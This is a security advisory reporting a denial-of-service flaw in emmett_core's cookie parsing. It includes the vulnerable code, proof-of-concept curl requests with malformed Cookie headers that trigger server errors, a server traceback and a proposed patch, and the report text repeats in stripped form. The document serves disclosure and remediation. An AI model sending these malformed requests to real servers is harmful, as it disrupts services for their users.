Summary
The cookies property in emmett_core.http.wrappers.Request does not handle
CookieError exceptions when parsing malformed Cookie headers. This allows
unauthenticated attackers to trigger HTTP 500 errors and cause denial of service.
Details
Location: emmett_core/http/wrappers/__init__.py (line 64)
Vulnerable Code:
@cachedprop
def cookies(self) -> SimpleCookie:
cookies: SimpleCookie = SimpleCookie()
for cookie in self.headers.get("cookie", "").split(";"):
cookies.load(cookie) # No exception handling
return cookiesPoC
Sending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:/security=test"
Internal error
Time: 0.024363sAfter the same error occurs several times, the server cannot process it normally.
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:(security=test"
Internal error
Time: 60.069334s
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:security=test"
Internal error
Time: 60.074031sThis is server log.
[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:
Traceback (most recent call last):
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py", line 70, in dynamic_handler
http = await self.router.dispatch(request, response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py", line 240, in dispatch
return await match.dispatch(reqargs, response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 57, in dispatch
await self._parallel_flow(self.flow_open)
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 17, in _parallel_flow
raise task.exception()
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py", line 102, in open_request
if self.cookie_name in self.current.request.cookies:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py", line 37, in __get__
obj.__dict__[self.__name__] = rv = self.fget(obj)
~~~~~~~~~^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py", line 64, in cookies
cookies.load(cookie)
~~~~~~~~~~~~^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 516, in load
self.__parse_string(rawdata)
~~~~~~~~~~~~~~~~~~~^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 580, in __parse_string
self.__set(key, rval, cval)
~~~~~~~~~~^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 472, in __set
M.set(key, real_value, coded_value)
~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 335, in set
raise CookieError('Illegal key %r' % (key,))
http.cookies.CookieError: Illegal key '/security'Impact
This vulnerability allows unauthenticated attackers to cause denial of service
and performance degradation by sending malformed Cookie headers.
After this vulnerability occurs, we expect it to be difficult to use the normal service.
patch
/emmett_core/http/wrappers/__init__.py
- from http.cookies import SimpleCookie
+ from http.cookies import SimpleCookie, CookieError # add CookieError
...
...
@cachedprop
def cookies(self) -> SimpleCookie:
cookies: SimpleCookie = SimpleCookie()
for cookie in self.headers.get("cookie", "").split(";"):
- cookies.load(cookie)
+ try:
+ cookies.load(cookie)
+ except CookieError:
+ continue
return cookiesReferences
Ryu-GeonWoo Reporter
Summary
The
cookiesproperty inemmett_core.http.wrappers.Requestdoes not handleCookieErrorexceptions when parsing malformed Cookie headers. This allowsunauthenticated attackers to trigger HTTP 500 errors and cause denial of service.
Details
Location:
emmett_core/http/wrappers/__init__.py(line 64)Vulnerable Code:
PoC
Sending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.
After the same error occurs several times, the server cannot process it normally.
This is server log.
Impact
This vulnerability allows unauthenticated attackers to cause denial of service
and performance degradation by sending malformed Cookie headers.
After this vulnerability occurs, we expect it to be difficult to use the normal service.
patch
/emmett_core/http/wrappers/__init__.pyReferences